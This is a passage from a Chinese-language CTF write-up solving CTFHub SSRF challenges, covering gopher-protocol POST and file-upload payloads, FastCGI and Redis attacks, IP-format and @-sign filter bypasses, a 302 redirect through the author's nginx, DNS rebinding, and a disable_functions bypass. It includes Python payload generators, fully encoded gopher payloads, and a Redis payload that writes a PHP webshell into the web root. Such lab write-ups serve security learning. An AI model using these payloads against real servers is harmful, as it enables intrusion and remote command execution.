文件的内容即可发现,只要伪造来自内网的请求,然后post一个提供的key260a97ac2ef360dec36238c7d6c49c25
即可得到flag。
但是这种伪造可不好实现。php中的$_SERVER["REMOTE_ADDR"]
,它会返回当前浏览页面的用户的ip地址。
这并不是简单的修改HTTP报文能够实现的。查看过wp之后,我了解到了gopher协议。
gopher协议(攻击内网服务的万金油):gopher支持发出GET、POST请求。可以先截获get请求包和post请求包,再构造成符合gopher协议的请求。gopher协议是ssrf利用中一个最强大的协议(俗称万能协议)。可用于反弹shell
URL: gopher://<host>:<port>/<gopher-path>_后接TCP数据流
相当于我们得利用这个gopher协议来让题目的机器给flag.php
发送一个post请求包。这里就把ctfhub这个专题的名字SSRF(Server-Side Request Forgery) 服务器端请求伪造
演示的淋漓尽致了。我们将利用gopher协议模拟服务器向flag.php的请求。
查询过资料后gopher协议中的post请求需要包含几个必要的字段HOST
,Content-Length
,Content-Type
。
同时需要经过两层url加密,为什么呢?因为一开始gopher协议给url参数传的时候浏览器会进行第一次url解码。传给php了,php那里的curl_exec相当于还是一次类浏览器操作,会进行第二次url解码。
此外还要注意第一次url编码后需要将%0A
全部换为%0D0A
。其实就是把换行符\n
换为\r\n
。
Linux里的换行比较简约,一个\n
即可。而Window的换行比较阔绰,多一个字符\r\n
。
这里需要换,估计是内网的机器是windows的?挺奇怪的。一般出题都是docker部署,应该都是Linux的呀2333。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15 from urllib.parse import quote payload = \ """ POST /flag.php HTTP/1.1 Host: 127.0.0.1:80 Content-Type: application/x-www-form-urlencoded Content-Length: 36 key=260a97ac2ef360dec36238c7d6c49c25 """ payload = quote(payload) payload = payload.replace("%0A", "%0D%0A") payload = f"gopher://127.0.0.1:80/_{quote(payload)}" print(payload)
1 gopher://127.0.0.1:80/_%250D%250APOST%2520/flag.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%253A80%250D%250AContent-Type%253A%2520application/x-www-form-urlencoded%250D%250AContent-Length%253A%252036%250D%250A%250D%250Akey%253D260a97ac2ef360dec36238c7d6c49c25%250D%250A
我们把这一段payload加到url那里就可以得到flag啦!
gopher那里一开始Host我写的是127.0.0.1
貌似不行,必须得指定端口。
上传文件1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16 # view-source:http://challenge-608a043246aa77d5.sandbox.ctfhub.com:10800/?url=file:///var/www/html/flag.php <?php error_reporting(0); if($_SERVER["REMOTE_ADDR"] != "127.0.0.1"){ echo "Just View From 127.0.0.1"; return; } if(isset($_FILES["file"]) && $_FILES["file"]["size"] > 0){ echo getenv("CTFHUB"); exit; } ?> Upload Webshell <form action="/flag.php" method="post" enctype="multipart/form-data"> <input type="file" name="file"> </form>
1
2
3
4
5
6
7
8
9
10
11
12
13 # view-source:http://challenge-608a043246aa77d5.sandbox.ctfhub.com:10800/?url=file:///var/www/html/index.php <?php error_reporting(0); if (!isset($_REQUEST['url'])) { header("Location: /?url=_"); exit; } $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $_REQUEST['url']); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); curl_exec($ch); curl_close($ch);
查看过它的flag.php之后我们只要模拟服务器向flag.php发送一个文件即可获得flag。同样的,我们利用攻击内网服务万金油gopher协议来实现。
原题的上传压根就没有上传按钮,都没法抓包2333。于是我加了一个submit
类型的input然后先把服务放在自己的机器上,进行抓包。
1
2
3
4 <form action="/flag.php" method="post" enctype="multipart/form-data"> <input type="file" name="file"> <input type="submit" value="upload"> </form>
然后删除不必要的字段,保留Host
,Content-Length
,Content-Type
以及第一行的POST请求,注意对Host进行修改,修改成内网。得到以下POC。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21 from urllib.parse import quote payload = \ """ POST /flag.php HTTP/1.1 Host: 127.0.0.1:80 Content-Type: multipart/form-data; boundary=---------------------------73242662227339777571999664765 Content-Length: 221 -----------------------------73242662227339777571999664765 Content-Disposition: form-data; name="file"; filename="upload.txt" Content-Type: text/plain 1 -----------------------------73242662227339777571999664765-- """ payload = quote(payload) payload = payload.replace("%0A", "%0D%0A") payload = f"gopher://127.0.0.1:80/_{quote(payload)}" print(payload)
运行后可以生成以下gopher协议数据包。
1 gopher://127.0.0.1:80/_%250D%250APOST%2520/flag.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%253A80%250D%250AContent-Type%253A%2520multipart/form-data%253B%2520boundary%253D---------------------------73242662227339777571999664765%250D%250AContent-Length%253A%2520221%250D%250A%250D%250A-----------------------------73242662227339777571999664765%250D%250AContent-Disposition%253A%2520form-data%253B%2520name%253D%2522file%2522%253B%2520filename%253D%2522upload.txt%2522%250D%250AContent-Type%253A%2520text/plain%250D%250A%250D%250A1%250D%250A-----------------------------73242662227339777571999664765--%250D%250A%250D%250A
之后把这一串放在url参数里发送就可以得到flag啦!
这里需要注意一点,我试了一下把Host写成http://127.0.0.1:80
,无法得到flag。必须是规范的ip:port
格式。
这类题只要了解了gopher协议本质上都差不多。
FastCGI协议CGI 即 Common Gateway Interface
通用网关接口。php里常见到的fpm就是FastCGI Process Interface
FastCGI进行管理器 的缩写。其作用就是让php作为一个外部拓展应用去与http服务器进行联系。
这道题就是让我们利用那个url参数发送gopher数据包来和在内网9000端口上的fastcgi建立联系,让它执行某种命令。
大致思路就是在fastcgi协议中加入两个重要的配置。
auto_prepend_file = php://input allow_url_include = On
auto_prepend_file
会在所有的phpwe文件顶部加载文件。这里加载的是php://input
,相当于把我们传递的php语句放在文件顶部从而实现任意命令执行。
当然php://input
需要开启allow_url_include
才能生效。
这道题看了wp后了解到一个挺好用的脚本,能够直接生成gopher报文。tarunkant/Gopherus
是用python2编写的,用起来十分简单。输入一个可用的php文件以及你想执行的命令即可。
它产生的gopher报文里内部的请求已经url编码了,但是我们把这个传递给题目的时候还需要再一次url编码。
Redis协议昨天下载的Gopherus
工具里就有Redis的payload2333。它的默认paylaod是这样的。
把它的paylaod url解码一下,结果是这样的。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35 gopher://127.0.0.1:6379/_*1 $8 flushall *3 $3 set $1 1 $34 <?php system($_GET['cmd']); ?> *4 $6 config $3 set $3 dir $13 /var/www/html *4 $6 config $3 set $10 dbfilename $9 shell.php *1 $4 save
其中的*
大概指的是接下去管的变量的个数,$
后面跟的数是后面变量字符串的长度。
我们仔细观察它给出的payload可以观察到它的换行已经是%0D%0A
了,所以这也就是昨天Fastcgi协议没有变换行就能直接ctf的原因。
所以今天这个也只要把它给的payload再经过一次url编码就是最终的payload了。
可以直接在burp里面进行变换。右键-> Convert Selection-> URL-> URLencode key characters
即可实现把选中部分进行url编码。
然后我可以看看shell.php
是否写入。
但是可能由于有一些多余数据的原因,导致蚁剑没法连接,但是无伤大雅,直接手动命令执行即可。
URL Bypass
题目提示必须以某个网站作为开始,但是我们的目标肯定是127.0.0.1,那怎么办呢?
查询过资料后发现url中有个神奇的字符@
。使用过后,前面的网站直接失效,而去访问后面的网站。
这里直接能访问到我的博客2333。
1 http://challenge-1abe55a5f7cb9ddc.sandbox.ctfhub.com:10800/?url=http://[email protected] :8000
payload
1 http://challenge-1abe55a5f7cb9ddc.sandbox.ctfhub.com:10800/?url=http://[email protected] /flag.php
数字IP Bypass
一开始提示过滤了127
,172
和@
。查看资料后发现有很多ip有很多其他的形态,这里摘抄一下。
例如192.168.0.1 (1)、8进制格式:0300.0250.0.1 (2)、16进制格式:0xC0.0xA8.0.1 (3)、10进制整数格式:3232235521 (4)、16进制整数格式:0xC0A80001
还有一种特殊的省略模式,例如10.0.0.1这个IP可以写成10.1
http://0/
http://127.1/
利用ipv6绕过,http://[::1]/
http://127.0.0.1 ./
我便尝试了一下八进制的127.0.01。
结果又说过滤.
了,佛了,那就再试试整数。
成功得到flag。
302跳转 Bypass这道题出的十分不严谨,以下是它的index.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16 ?php error_reporting(0); if (!isset($_REQUEST['url'])) { header("Location: /?url=_"); exit; } $url = $_REQUEST['url']; if (preg_match("/127|172|10|192/", $url)) { exit("hacker! Ban Intranet IP"); } $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); curl_exec($ch); curl_close($ch);
只是对ip做了最简单的过滤 ,这就导致上道题的payload完全试用。
看了其他人的wp后还发现一个很好用的payload。
1 ?url=http://localhost/flag.php
那看题目名字是要让我们302跳转,那需要怎么做呢?
看网上的都是用的短域名服务来实现跳转,武丑兄作为拥有两个域名的大佬当然要自己写啦!
设置了一个二级域名302.wuuconix.link
然后用nginx rewrite到http://127.0.0.1/flag.php
上。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27 server { listen 443 ssl;# https 监听的是 443端口 server_name 302.wuuconix.link; keepalive_timeout 100; ssl_session_cache shared:SSL:10m; ssl_session_timeout 10m; ssl_certificate /etc/nginx/ssl-link/fullchain.crt; # 证书路径 ssl_certificate_key /etc/nginx/ssl-link/private.pem; # 请求认证 key 的路径 ssl_protocols TLSv1.1 TLSv1.2; ssl_ciphers ECDHE-RSA-AES128-GCM-SHA256:HIGH:!aNULL:!MD5:!RC4:!DHE; ssl_prefer_server_ciphers on; ssl_session_cache shared:SSL:10m; rewrite ^(.*) http://127.0.0.1/flag.php permanent; } server { listen 80; server_name 302.wuuconix.link; rewrite ^(.*) https://$server_name$1 permanent; }
其实只监听80端口然后rewrite就行,但是我的服务器都用了ssl证书,把上面443的端口监听删掉会出现莫名的错误,就保留啦,也就是多做了一次302跳转,最后的目的地是一致的2333。
成功得到flag。
DNS重绑定 Bypass这道题和上一题不同,感觉应该是http服务设置的原因,明明index.php
和flag.php
几乎没变。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16 #view-source:http://challenge-2656dc822cd540bd.sandbox.ctfhub.com:10800/?url=file:///var/www/html/index.php <?php error_reporting(0); if (!isset($_REQUEST['url'])) { header("Location: /?url=_"); exit; } $url = $_REQUEST['url']; if (preg_match("/127|172|10|192/", $url)) { exit("hacker! Ban Intranet IP"); } $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_HEADER, 0); curl_exec($ch); curl_close($ch);
1
2
3
4
5
6
7
8 #view-source:http://challenge-2656dc822cd540bd.sandbox.ctfhub.com:10800/?url=file:///var/www/html/flag.php <?php error_reporting(0); if ($_SERVER["REMOTE_ADDR"] != "127.0.0.1") { echo "Just View From 127.0.0.1"; exit; } echo getenv("CTFHUB");
但是前几题的paylaod都失效了。
不支持302跳转。
这样不知道为什么也不行,按理说这个请求是127.0.0.1
的index.php发出的。
查看资料后了解到DNS重绑定的原理。
在网页浏览过程中,用户在地址栏中输入包含域名的网址。浏览器通过DNS服务器将域名解析为IP地址,然后向对应的IP地址请求资源,最后展现给用户。而对于域名所有者,他可以设置域名所对应的IP地址。当用户第一次访问,解析域名获取一个IP地址;然后,域名持有者修改对应的IP地址;用户再次请求该域名,就会获取一个新的IP地址。对于浏览器来说,整个过程访问的都是同一域名,所以认为是安全的。这就造成了DNS Rebinding攻击。
利用这个网站rbndr.us dns rebinding service (cmpxchg8b.com) 来生成一个域名。
1 7f000001.08080808.rbndr.us
我想了半天这道题哪里体现出必须要DNS重绑定。感觉这道题就是在扯淡。
为了验证这种想法,我又设置了一个直接指向127.0.0.1
的二级域名localhost.wuuconix.link
结果也能获得flag2333。
只能说这道题出的不好。
Bypass disalbe_function——LD_PRELOAD这道题开局让你连蚁剑,确实能连上,但是点开根目录下的flag是空的。
然后我试着在蚁剑的模拟终端里用命令来get flag,但是所有的命令都会返回ret=127
。我查了一下,表示命令不可用。我是这样理解的。php一句话木马用get shell,但是这个shell本质上是利用php里面的系统命令实现的,而且用户是www-data
。所以出题人可以对一些命令进行限制,但是我还是无法理解,明明蚁剑已经连接了,文件列表都显示出来了,按理说这些文件都是用ls来得到的,但是手动运行ls却不行,那蚁剑是如何得到文件列表的呢?
这里写出来题目php环境中过滤的函数。
1
2
3
4
5
6
7
8 pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait, pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled, pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig, pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler, pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror, pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait, pcntl_exec,pcntl_getpriority,pcntl_setpriority, pcntl_async_signals,exec,shell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,dl,mail,system
我们可以看到常用的php命令执行函数system
,shell_exec
,exec
,passthru
都被ban了,我十分好奇蚁剑是怎么连接并且获取文件列表的。
我们暂时先这么理解,蚁剑用了某种神奇的方式得到了文件列表,但是因为cat 文件需要用到 比如system
函数,但是这些函数都被ban掉了,所以我们只能看到flag幻影而无法得到flag。
然后蚁剑插件市场中有个厉害的插件就是专门用来绕过disable_functions的。
使用插件过后,html文件夹下 会出现.antproxy.php
文件,其内容如下。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75 <?php function get_client_header(){ $headers=array(); foreach($_SERVER as $k=>$v){ if(strpos($k,'HTTP_')===0){ $k=strtolower(preg_replace('/^HTTP/', '', $k)); $k=preg_replace_callback('/_\w/','header_callback',$k); $k=preg_replace('/^_/','',$k); $k=str_replace('_','-',$k); if($k=='Host') continue; $headers[]="$k:$v"; } } return $headers; } function header_callback($str){ return strtoupper($str[0]); } function parseHeader($sResponse){ list($headerstr,$sResponse)=explode(" ",$sResponse, 2); $ret=array($headerstr,$sResponse); if(preg_match('/^HTTP/1.1 d{3}/', $sResponse)){ $ret=parseHeader($sResponse); } return $ret; } set_time_limit(120); $headers=get_client_header(); $host = "127.0.0.1"; $port = 61416; $errno = ''; $errstr = ''; $timeout = 30; $url = "/index.php"; if (!empty($_SERVER['QUERY_STRING'])){ $url .= "?".$_SERVER['QUERY_STRING']; }; $fp = fsockopen($host, $port, $errno, $errstr, $timeout); if(!$fp){ return false; } $method = "GET"; $post_data = ""; if($_SERVER['REQUEST_METHOD']=='POST') { $method = "POST"; $post_data = file_get_contents('php://input'); } $out = $method." ".$url." HTTP/1.1\r\n"; $out .= "Host: ".$host.":".$port."\r\n"; if (!empty($_SERVER['CONTENT_TYPE'])) { $out .= "Content-Type: ".$_SERVER['CONTENT_TYPE']."\r\n"; } $out .= "Content-length:".strlen($post_data)."\r\n"; $out .= implode("\r\n",$headers); $out .= "\r\n\r\n"; $out .= "".$post_data; fputs($fp, $out); $response = ''; while($row=fread($fp, 4096)){ $response .= $row; } fclose($fp); $pos = strpos($response, "\r\n\r\n"); $response = substr($response, $pos+4); echo $response;
我们连接这个文件后,打开模拟终端后就能够get flag啦
当然也可以不用插件,但是那种方法太难了,我无法理解2333,就不写了。